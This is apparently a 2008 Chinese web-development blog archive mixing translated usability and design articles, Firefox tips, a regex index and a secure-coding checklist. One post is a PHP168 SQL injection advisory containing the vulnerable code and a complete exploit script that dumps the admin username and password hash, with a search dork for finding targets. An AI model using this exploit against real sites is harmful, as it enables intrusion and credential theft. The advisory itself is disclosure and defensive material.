志凡’S BLOG

July 21, 2008

四个网页设计的坏例子

Filed under: WEB技术 — zifa @ 1:16 pm

原文作者:Jakob Nielsen
原文链接:Four Bad Designs
译者:nicomm

概要:
不合适的内容,坏链接,糟糕的导航系统,不清楚的分类……哪些最影响商业成绩?以下的例子里,不合适的内容荣列“浪费企业最多金钱”榜首。

每年,不论在专业研究还是日常生活中,我都看到几千个设计上的错误。就像中了丹·诺曼的诅咒一样,半数的网页设计让我看了就感到生气:为什么人们不能按着丹 20年前就告诉他们的那样去做?

然而,网页设计者们也没有按照我 13年前说的去做,这就是让我大为吃惊的原因。下面罗列的几个近日遇到的最蠢设计算是我最近的小小收获。

不合适的内容:林肯中心的爵士演出

当在纽约参加我的可用性讨论会时,我想带演讲人们晚上出去听听爵士乐。下面是我在林肯中心爵士演出的网页上找到的信息:

Screenshot of the product page for a performance at Jazz at Lincoln Center

都有哪些信息呢?网页提供了音乐家们的名字和一张首席长号手的照片。就这些!没有演员简介,没有演出曲目介绍,没有乐评,没有链到某个乐评的链接,没有音频片断让你试听乐队的演出。

公平的讲,jalc.org 给出了一些演出的音乐片段。样本音乐片段显然是与音乐相关的网站利用多媒体的一个手段;用音频片断说明音乐比用文字要容易得多。在大都会歌剧团的网站上听上一段音乐片段,你在一分钟内就能明白晦涩的谭盾歌剧和生动的莫扎特古典音乐之间的区别。

然而,上面的网页仅仅提出了个充满希望的请求(大字体的那行文字),希望人们在对演出一无所知的情况下“下预约”。除非你对乐队足够了解,否则怎么可能?!

不过,该网页也提供了几个不错的功能,比如支持转发的邮件功能和给其他移动装置用的纯文本格式。但是,要是能提供更多内容就更好了。

没法提供信息的链接:《纽约时报》

nytimes.com 网站在每一篇文章下面都放了一个链接:

Screenshot of the bottom of an article on The New York Times website.

谁会去点这个“下一篇商业文章”链接呢?除非是某些对“第 19篇文章”特别感兴趣的,否则没有几个人会去点击它。

除了数字以外,点遍这些链接看不到任何有用的信息 — 这种设计早在 12年前我就在对 Slate.com 的评论中批评过了。链接需要含有能帮助人们了解如果点击过去能链到什么地方的信息。人们没有时间每个链接都点一下去看到底可以链到什么地方。

《纽约时报》可以用统计学来为他们的设计辩护:也许不像我非难他们的那样,这种含糊的链接确实可以赢得几次点击。毕竟,如果你拥有上百万的用户,就算最蠢的设计点子也能排上点用场。就是这种设计哲学导致了类似时代广场这种冗长的网站,给人类感官以无情的打击。

问题在于,所有多余的元素都会损害网页上其它设计的效果。当你向人们推销那些无关紧要的链接的同时,也是在告诉人们忽略那些重要的链接。

(补充:《纽约时报》重新设计了他们的网站。现在,文章下面的链接改叫“更多商业文章”。好了一点,但还不够好。我还是保留我的批评,因为这个愚蠢的设计他们用了长达一年之久 — 无论如何就算在他们对它进行了“部分的”修改之后,你仍能从他们的错误中学到东西。)

卖弄的装饰性设计:柯里斯托弗·诺曼巧克力

吃克里斯托弗·诺曼巧克力是令人愉快的事情,浏览他的网页却味同嚼蜡。当你从主导航菜单选择了一个类目以后,你看不到一个罗列着同类产品的页面。取而代之的是一幅卖弄的画面,就像下面这个“几何与水果”:

Screenshot of a category page (or rather, the splash screen before the detailed category page) on Christopher Norman Chocolates.

一般用户会以为这个类目下只有这两种产品,而且如果对页面上的梨或者多米诺盒子不感兴趣,他们会立即离开。而实际情况是,用户要点击进入画面之后,才可以看到有完整产品列表的那个真正的类目页面。

用这种卖弄的画面做网页主页糟糕透顶,不过用户最多只遇到一次这种情况。如果每个类目页面都用这种设计,用户就必须点过很多多余的页面才可以看到所有的产品。

失控的模拟:订制机车

机车商 specialized.com  用博物馆的陈列作为自己悬挂系统的类目页样式:

Screenshot of category page on Specialized's website (a bicycle vendor).

老实说,我喜欢用机车部件做的“鲸鱼骨架”。但在这样一个模拟的 3D 环境中浏览,想要看清各种悬挂系统的结构却痛苦异常。

3D 导航几乎每次都搞砸。难以操作,没法像 2D 界面那样做很多选择,而且运行速度很慢。

用户可以把对某个现实环境现有的知识运用到模拟环境中,因此使用模拟环境有时能让用户界面变得容易理解。本例中,尽管你知道怎样参观自然历史博物馆,但也 不能帮助你更好地鉴别机车部件。使用模拟环境设计的网站几乎总是做过头,最终导致可用性的降低。犹如迷惑人的魔鬼,模拟环境让设计团队的注意力从网页本质 的该展现给用户的实际内容上偏离开去。

坏设计的商业代价

这些不好的设计理念让网站经营者付出多少代价?

《纽约时报》也许是付出代价最少的;大多数用户都会忽略那个没有意义的链接。同时,当然了,其它一般的链接得到了机会:在同样的地方,报纸可以提供一个链 到和现在文章相关的其它页面的链接。能够从头到尾读完文章的用户很有可能去点击那个链接。因此,如果更好的利用该位置,或许网站有可能赢得额外 2-5% 的浏览量。

我断定那个内容糟糕的爵士演出网页损失最大。我们的产品页面用户测试报告(诺曼·尼尔森集团报告:《产品页面可用性的电子商务用户体验指导》)显示,当一 个网页回答了用户对该产品的疑问时,他们极有可能作出购买的决定。几乎可以担保,只有那些对维克里夫·戈登极度忠诚的粉丝们,才会在没有提供任何实质信息 的网页上预订林肯中心的那场演出。

我预测,如果加上更多信息,该网站能够卖出至少 5倍的票给那些平常观众们。在《提高可用性后的投资赢利》研究中,我们往往发现 1000% 甚至更多的销售增长。所以,加上有意义的内容,甚至可以让该网页成为能从那些非粉丝手里大赚利润的赢利法宝。总体销售额能够增长多少,就要看该演员的狂热 拥护者的数量和那些仅仅有时喜欢听听爵士乐的观众数量之比。我认为,第二组人(非粉丝)的数量如此众多,如果网页内容组织得好,可以带来销售爆增。

其余两个网站付出的代价属于中间级别。对于大的网站来说,用笨拙的导航系统就像是给自己开了个死亡处方:如果要从超过1万个产品中找到自己想要的东西,用户是无法忍受浏览那些与目的分裂的过于卖弄的页面,或是那些过分虚拟的页面。但如果销售的产品数量不多的话 — 像克里斯托弗·诺曼和订制机车 — 积极的用户可以自己克服导航带来的麻烦。如果网站销售的产品很少,用户是不太可能在里边迷路的。

当然,消极用户一旦感到迷路就会立即离开网站。不管网站多么小,愚蠢的设计总会让他们损失金钱。

PHP 168 SQL注射漏洞

Filed under: PHP相关 — zifa @ 1:13 pm

漏洞说明:历经数年开发与完善的”PHP168整站系统”是国内最早的多功能模块化 网站管理软件系统;不仅适合于建设一般的企业、政府、学校、个人等小型网站,同时也适合于建设地区门户、行业门户、收费网站等大中型网站,80sec在其 产品中发现了一个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

漏洞厂商:http://www.php168.com

漏洞解析:在系统的jsarticle.php中,使用了urldecode用来解码用户提交的数据,但是在使用该函数之后并没有做进一步的有效性验证,从而导致精心构造的数据可以饶过系统的过滤以及php的Magic Quote保护,漏洞部分代码如下:



elseif($type=='like')

{

 $SQL.=" AND aid!='$id' ";

if(!$keyword)

{

extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article WHERE aid='$id'"));

}

if($keyword){

$SQL.=" AND ( ";

$keyword=urldecode($keyword);

$detail=explode(" ",$keyword);

unset($detail2);

foreach( $detail AS $key=>$value){

$detail2[]=” BINARY title LIKE ‘%$value%’ “;

}

$str=implode(” OR “,$detail2);

$SQL.=” $str ) “;

}else{

$SQL.=” AND 0 “;

}

$ORDER=’ list ‘;

}

if(!$webdb[viewNoPassArticle]){

$SQL.=’ AND yz=1 ‘;

}

$SQL=” WHERE $SQL ORDER BY $ORDER DESC LIMIT $rows”;

$which=’*';

$listdb=list_article($SQL,$which,$leng);

keyword被urldecode然后进入list_article函数,提交%2527将导致一个’进入SQL查询

在artic_function.php中的list_article函数如下



function list_article($SQL,$which='*',$leng=40){

global $db,$pre;

$query=$db->query("SELECT $which FROM {$pre}article $SQL");

while( $rs=$db->fetch_array($query) ){

if($rs[mid]){

$_rss=$db->get_one(”SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid=’$rs[aid]‘ LIMIT 1″);

$_rss && $rs=$rs+$_rss;

}

$rs[content]=@preg_replace(’/<([^<]*)>/is’,”",$rs[content]);   //把HTML代码过滤掉

//如果文章有短标题,将以此显示在文章列表

if($rs[smalltitle]){

$title=$rs[smalltitle];

}else{

$title=$rs[title];

}

$rs[title]=get_word($rs[full_title]=$title,$leng);

if($rs[titlecolor]||$rs[fonttype]){

$titlecolor=$rs[titlecolor]?”color:$rs[titlecolor];”:”;

$font_weight=$rs[fonttype]==1?’font-weight:bold;’:”;

$rs[title]=”$rs[title]“;

}

$rs[posttime]=date(”Y-m-d”,$rs[full_posttime]=$rs[posttime]);

if($rs[picurl]){

$rs[picurl]=tempdir($rs[picurl]);

}

$listdb[]=$rs;

}

return $listdb;

}

直接进入SQl查询,导致注射漏洞的产生。

漏洞利用:80sec提供攻击测试代码如下:



#!/usr/bin/php

<?php

print_r('

+---------------------------------------------------------------------------+

Php168 v2008 SQL injection / admin credentials disclosure exploit

by puret_t

mail: puretot at gmail dot com

team: http://www.wolvez.org

dork: "Powered by PHP168 V2008"

+---------------------------------------------------------------------------+

');

/**

* works regardless of php.ini settings

*/

if ($argc < 3) {

print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' host path

host:      target server (ip/hostname)

path:      path to php168

Example:

php '.$argv[0].' localhost /php168/

+---------------------------------------------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];

$path = $argv[2];

$resp = send();

preg_match('/([a-z0-9]+)_article/', $resp, $pre);

if ($pre)

$resp = send();

else

exit("Exploit Failed!n");

preg_match('/content_([S]+)|([a-z0-9]{32})/', $resp, $pwd);

if ($pwd)

exit("Expoilt Success!nadmin:t$pwd[1]nPassword(md5):t$pwd[2]n");

else

exit("Exploit Failed!n");

function send()

{

global $host, $path, $pre;

if ($pre)

$cmd = 'type=like&keyword=%2527)/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(username,%2527|%2527,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/'.$pre[1].'_members/**/WHERE/**/uid=1%23';

else

$cmd = 'type=like&keyword=%2527';

$message = "POST ".$path."jsarticle.php  HTTP/1.1rn";

$message .= "Accept: */*rn";

$message .= "Accept-Language: zh-cnrn";

$message .= "Content-Type: application/x-www-form-urlencodedrn";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";

$message .= "Host: $hostrn";

$message .= "Content-Length: ".strlen($cmd)."rn";

$message .= "Connection: Closernrn";

$message .= $cmd;

$fp = fsockopen($host, 80);

fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

?>

漏洞状态:已经通知php168官方,官方已经发布补丁。

July 15, 2008

制作安全网站的checklist

Filed under: WEB技术, PHP相关 — zifa @ 12:26 pm

fcicq最近在IPA上看到一篇安全相关的文章, 它的最末尾有个checklist,于是催我把它翻译了。前几天比较忙,周末没什么事儿了,就翻译一下吧。

原文的标题是如何让网站更安全。 这里仅翻译文章最后的一个checklist。

2008/4/20更新:fcicq倒是神速啊,马上就把具体的应用策略扔出来了 :D 参考:PHP 实践 Security Checklist

标有 (*) 的检查项目表示该项是针对相关问题的根本解决方法,应当尽最大努力去完成这些内容。 未标 (*) 的项目,表示该项并不能完全消除安全隐患,只是说通过这种方法可以避免发生安全问题。 最后一条似乎没什么意思,不翻译了。

  1. SQL注射
    1. (*) 在组合SQL语句时要使用SQL变量绑定功能
    2. (*) 如果数据库不提供变量绑定,那么需要对构成SQL的所有变量进行转义
    3. 不要将错误信息原封不动地显示在浏览器中。
    4. 为访问数据库的用户设置适当的权限。
  2. 操作系统命令行注射
    1. (*) 避免使用能启动shell命令的语言
    2. 使用的语言如果允许启动shell命令,则需要对该功能的参数种的所有变量进行检查,确保只包含合法的操作
  3. 不检查路径名参数/目录遍历
    1. (*) 不要将外部传进来的参数直接作为文件名来使用
    2. (*) 将打开文件的操作限制在固定的目录中,并禁止文件名中包含路径
    3. 为Web服务器上的文件设置正确的访问权限
    4. 检查文件名
  4. 会话管理的问题
    1. (*) 用难以推测的内容作为会话ID
    2. (*) 不要在URL中保存会话ID
    3. (*) 为https协议中使用的cookie设置secure属性
    4. (*) 登录成功后生成新的会话
    5. (*) 登录成功后,在会话ID之外再生成一个秘密信息,每次访问页面时都检查之
    6. 不使用固定值作为会话ID
    7. 将会话ID保存到Cookie中时,要设置有效期限
  5. 跨站脚本攻击(XSS)
    • 不允许输入HTML内容时的解决方法
      1. (*) 输出到页面上的所有内容都要转义
      2. (*) 输出URL时仅允许以“http://”或“https://”开头的URL
      3. (*) 不要动态生成<script>…</script>的内容
      4. (*) 不要从外部网站读入样式表
      5. 检查输入内容
    • 允许输入HTML内容时的解决方法
      1. (*) 解析输入的HTML内容,生成解析树,然后提取其中的非脚本部分
      2. 使用脚本删除输入的HTML内容中的相关字符串
    • 通用解决方法
      1. (*) 应答的HTTP头重指定Content-Type的charset属性
      2. 为避免Cookie情报泄漏,应禁止Trace方法,并对所有Cookie设置HttpOnly属性
  6. 跨站请求伪造(CSRF)
    1. (*) 所有页面都通过POST来访问,在前一页面的hidden中随机生成一个信息,提交后的页面检查该信息,正确时才予以执行
    2. (*) 执行业务之前再次要求输入密码
    3. (*) 确认Referer是否正确,只有正确时才执行
    4. 执行重要操作时,向预先设置的邮件地址中发送邮件
  7. HTTP头注射
    1. (*) 不直接输出HTTP头,而使用运行环境提供的头信息输出API
    2. (*) 无法使用API时,要禁止输入的头信息中的换行
    3. 删除所有外部输入中的换行
  8. 邮件盗用(通过某种手段使邮件发送到攻击者指定的地址)
    1. (*) 不使用外部参数作为邮件头信息
    2. 必须用外部参数设置头信息时,要删除其中的危险字符。

July 1, 2008

第二届全国PHP普查活动

Filed under: PHP相关 — zifa @ 11:32 am

PHPChina马上要开始第二届全国PHP普查活动,有PHP相关网站的斑竹可以一起推广,活动结束后,我会为一起推广的站长免费提供我们的调查报告.

http://www.phpchina.com/2008php

June 29, 2008

使用 jQuery(Ajax)/PHP/MySQL实现自动完成功能

Filed under: WEB技术, PHP相关 — zifa @ 4:24 pm

一如往常,demo和源码的zip包在文章最后,慢慢欣赏吧!

我觉得我有必要写这个教程,因为曾经见到的大部分关于自动完成的应用程序都只是给你一个程序源码包,然后告诉你怎么使用,而不是告诉你它是如何工作的以及为什么这样做。而知道这些可以让你对这个插件可以进一步的按自己的需求定制(关于这一点我在我的blog里写过不少关于其他应用的文章)。

好,我们现在开始。
(more…)

June 25, 2008

另外五种高效网页设计的原则

Filed under: WEB技术 — zifa @ 10:19 am

原文作者:VMware & Double-Take
原文链接: Five More Principles Of Effective Web Design
译者:vivian987

网页设计在过去的几年中得到l了很大的提高。它现在使用户更加容易掌握,而且更具有吸引力。而其中有一个很好的原因就是,在过去的几年中,我们发现将设计 更多的投入在可用性和使用者的经验上会更加高效。现代的割边设计并不是满是招摇的快乐谈话和闪亮的广告。我们学会了以与访问者的对话开头,让他们参与到讨 论中,通过提出他们的需求和诚实直接地和他们谈话来取得他们的信任。

几个星期以前,我们发表了“有效网页设计的10条原则”——一篇关于有效网页设计的全面的文章,给你们提供了一些关于用户想法的见解和一些如何有效设计网页的例子。

这篇文章强调另外五条关于有效网页设计的原则、启发和方法,而这些方法如果恰当地运用就可以在得出更加复杂的设计作品同时简化取得这样的效果的过程。

请注意,你可能会对下面关于可用性的文章感兴趣:

10个可用性的噩梦:展示了你应该在设计功能型和可用型网站时避免的可用性噩梦,

30个可用性的议题:解释了重要的但通常被遗忘、忽略或误解的议题,条款,规则和原则。

1.使用一个有效的销售原则

为了出售一件产品或一项服务,你需要有效地与任何一个你网页的访问者展开对话。因为访问者现在来到了你的网页,他们希望能听你的谈话,并从中有所收获。因此你应该如何接近这个潜在的委托人以在月末最大程度地增加你的收入呢?

Strong在1925年提出的AIDA是高效的销售模式,这个模式描述了一个人在出售一件产品或一项服务时通常经历的一系列的事件。

A-注意(意识):吸引顾客的注意

 I-兴趣:通过展示特征,优势和益处来激起顾客的兴趣

D-期望:使顾客相信他们想要甚至期望这个能满足他们需求的产品或服务

A-行动:引导顾客采取行动和/或购买

现在有人在其后增加了另一个字母构成了AIDA(S)的模式:S-满意-满足顾客,那样他们会成为常客,并且能为产品提供转介

在上下文中,顾客应该注意AIDA通常是让潜在的顾客购买他们实际上不需要的产品或服务的方法。为了取得用户的信任,设计者需要确定该网站提供真诚的信息,而且不存在使内容在不同方式下出现不同理解的隐藏信息。

更有效的方法就是为访问者提供关于产品或服务使用方法的实在的论据,环境和看法,而不是用招摇的空话来轰击他们。


参看上面的例子。traffik 遵循了AIDA原则。如果访问者想要了解关于网站内容管理系统的信息,他们马上就能从网站顶端简明的介绍中获得。这样,潜在的顾客就能被吸引从而继续浏览网站(吸引,a)。他们的兴趣就会被展示的产品的特征和益处而激起(兴趣,i)。

为了从交流中获得满足顾客需求的信息,他们运用了网站底端右手方向的棕色信息块(期望,d)。最后,用户在“开始巡游”和“30天免费试用”这些按钮的引导下开始购买(行动,a)。

还有一些其他的有名的销售模式,例如,BOSCH公式(由Peter Hubert研发):

B要有好奇心,询问开放式的问题

O提出解决方法,谈论顾客最终结果的获益

S刺激感官,让顾客检测你的产品

C跨越你的销售,考虑所有必要的附属设备

 H切入要点,当顾客有需要的时候才出售

2.用尽量少的几种颜色

深色的字体点击右键触发白色背景而浅色触发黑色背景是被动的。鲜明的颜色能够帮助你强调想要让顾客注意到的特定元素。

然而,你没有必要运用颜色鲜明的调色板来创造高效的网站设计。有时候,采用适当数量的颜色并有效地运用它们将会很有帮助。这样来访者就会很快看到更为重要的部分。这样也更容易将它们的注意力集中到网站中最重要的区域。


Sidebarecreative.com只运用了一种主要鲜明色–蓝色表示链接,按钮和可点击的元件。白色表示能概括当前网页内容的重要信息。剩下的内容有淡青色的悬浮效果。运用卓越,适中和富有表现力的颜色,那样就很高效。


Wilson Miner 运用了绿色,蓝色和粉色。主导的绿色看起来淡雅而宜人。蓝色表示链接,而粉色表示悬浮效果。要注意网站的布局。虽然只运用了很少几种颜色,你能很快看到可以点击的区域和识别出该网站与众不同的区域。

3.力求平衡

在网页设计中,平衡很重要,因为给用户一种封闭意识,让人觉得恒久和安定。平衡的设计更容易领会和理解,因为他们营造出一种视觉的层级命令面板,清楚地展示出往网站中最重要和次要的部分。


来源:运用于网页设计中的元素

苹果的设计大概是对称的(或者正规的)平衡最好的一个例子。同一个设计元素有很独具特色的(上面)或很相似的(下面)分量。他们都被放置在用户屏幕中间一 条虚构垂直线的两端。这样的设计相当的恒久和宁静,让来访者更容易的理解展示在其中的信息。结果就是:平衡营造了一种朴素的视觉和谐。

为什么苹果的设计如此的高效呢?因为它是以用户和产品为中心的。苹果网站的设计就象是一个剧院的舞台,在其中来访者是观众,而产品是舞台上的表演者。你可以发现该网站除产品本身外没有任何其他的内容。苹果成功地以提供最重要的选项发起了对话。


Signalfeuer.info运用了一种不对称的(非正式的)平衡来留出了更多的空白空间的动态使用(这大概也是不对称平衡的主要优势)。左面的版块比右边的小,然而该网站通过运用令人印象深刻的均衡网格给人一种强烈的平衡感。同时颜色的选择也很独具一格。

设计的原则该文章所言,“不对称 的平衡可能会在位置和集中程度上不平衡。为了营造不对称的平衡,必须要增加集中程度来弥补位置上的改变。集中程度可以通过改变大小,形状和风格来增加。对 一个特定的设计,设计者可能会选择将内容放在显像面的同一边。这样,相对的白色区域就会充当一种均衡的力量。”


Avalonstar.com就采用了这种方式。注意不同模块的迥异的形状和悬标题。白色的区域充当呈现在右边的内容的平衡力。

基于网格的做法对达到均衡的设计布局很有帮助或者甚至很有必要。

4.力求清楚明确

独立于设计方法,布局和展示内容的清楚明确在网页设计过程中应该给与高度的重视。如果标题中有错误或者存在歧义,一定要确保去除或者明确地详述其真正的含义。较为明确总是比含糊不清好的多。

为了达到清楚明确,你也没有必要使用“标准”设计布局或者基本模板。如果你想的话也可以冒险采用实验性设计,但要时刻记住网站内容清楚明确的视觉层级命令面板和网站结构。你的类别的组织越是有序,你的访问者就越容易在你的网站中找到自己的道路。


Hovie.com展示了一种新奇但很清楚明确的设计思路。该网站包含额五个模块;第一块表示当登陆网站是展示的主要菜单。当选择了主要菜单中的一些部分时就会出现下级菜单。

当前位置是由箭头展示的导航菜单中的选项。在内容区域中的是对上面的图片的一个简要描述和标题。这个设计从头到尾都很一致和连贯。你有可能误解这个设计吗?不太可能把。它很简洁,清晰和有效。


另一个例子:Astheria.com 聚焦于白色区域,采取了一种平衡的给予网格的设计思路。虽然这个设计很难以捉摸而且只使用了一种吸引人的颜色,你依然可以很快弄清楚身处何处,也很明确可获得的选择。印刷术的力量在这里得到了极致发挥。遗憾地是,该网站没有显示哪些链接已经访问过了。

5.说清用户的需求

作为网页开发者,你有为来访者提供舒适服务的首要任务,说清楚他们的需求,为他们提供充足的线索以满足准确无误且直观的导航。然而,为了取得这些,你需要的不仅仅是了解你用户的基本的概况和忠于他/她乐于的决定。

为了最大化你的曝光量,你必须考虑来访者的不同的类型和资料。你需要识别主要群体并且提供各个群体会喜欢的机能。但这并不意味着你需要创造多重版本的网站;这在一定程度上指你可以将不同层面的用户交流融合与同一个设计布局中。

比如,根据Shneiderman的使用界面设计的原则,让常客使用捷径是很重要的–为了增加互动的步伐,可以使用缩略语,特殊键,隐藏的命令等等。


Ffffound.com提供了普通的导航和基于JAVA的键盘导航。这项机能对采用普通方式浏览网页的新成员是不可见的。然而,高级的用户可以更高效地导航。当然,你需要明确地说明怎样使用高级的机能和这项技能能带来的益处。

另一个可能项可能是书签,工具条或者一些类似闪烁上传的特定的工具。提供了这些工具,你就给你的用户提供了更容易的方法来使用你的服务,这样他们就没有必要寻找替代物了。

结论:

高效的网页设计不一定要色彩鲜艳和漂亮,它需要清楚和直观。确定你帮助你的访问者了解了你网页的益处,并且为他们提供了一种简单的方法来浏览和使用你的网站。

对称和不对称的平衡都能帮助你取得一种实在和清楚的设计思路以提供丰富的用户互动的基础。为了最大化你的曝光量,考虑不同类型的用户,然后为他们提供不同层面的用户互动以把他们拉回你的网站。

June 24, 2008

273.cn PHP版低调上线

Filed under: Life历程 — zifa @ 3:07 pm

欢迎大家提意见。273.cn

June 19, 2008

Firfox3进阶用户指南

Filed under: WEB技术 — zifa @ 12:26 pm

原文作者:Gina Trapani
原文链接:Power User’s Guide to Firefox 3
译者:zergback

你已经知道Firefox3公布的新功能了吧,下面我们要深入挖掘一下,探索一些捷径,一些设置方法,再看看是不是有官方未提及的彩蛋。为了祝贺太平洋时间今天上午10点Firefox3的正式发布,让我们从Firefox3被谈论最多的特性开始,进而讨论一下其他的特性、使用技巧和个性化设置吧。
(more…)

June 17, 2008

正则表达式参考整理

Filed under: PHP相关 — zifa @ 10:59 am

正则表达式是烦琐的,但是强大的,学会之后的应用会让你除了提高效率外,会给你带来绝对的成就感。只要认真去阅读这些资料,加上应用的时候进行一定的参考,掌握正则表达式不是问题。

索引

1. 引子
2. 正则表达式的历史
3. 正则表达式定义

3.1 普通字符
3.2 非打印字符
3.3 特殊字符
3.4 限定符
3.5 定位符
3.6 选择
3.7 后向引用

4. 各种操作符的运算优先级
5. 全部符号解释
6. 部分例子
7. 正则表达式匹配规则

7.1 基本模式匹配
7.2 字符簇
7.3 确定重复出现

(more…)

June 16, 2008

Zend Framework留言本示例代码

Filed under: PHP相关 — zifa @ 3:06 pm

下载

代码不包含zf代码,把下载的zf解压目录中library内容复制到留言本目录library中
建表:
CREATE TABLE IF NOT EXISTS `gb_content` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(16) collate utf8_bin NOT NULL,
`content` varchar(255) collate utf8_bin NOT NULL,
`insert_time` datetime NOT NULL,
PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_bin  ;

zf环境配置参考:http://www.phpeye.com/article/view/id/98

Next Page »

Powered by WordPress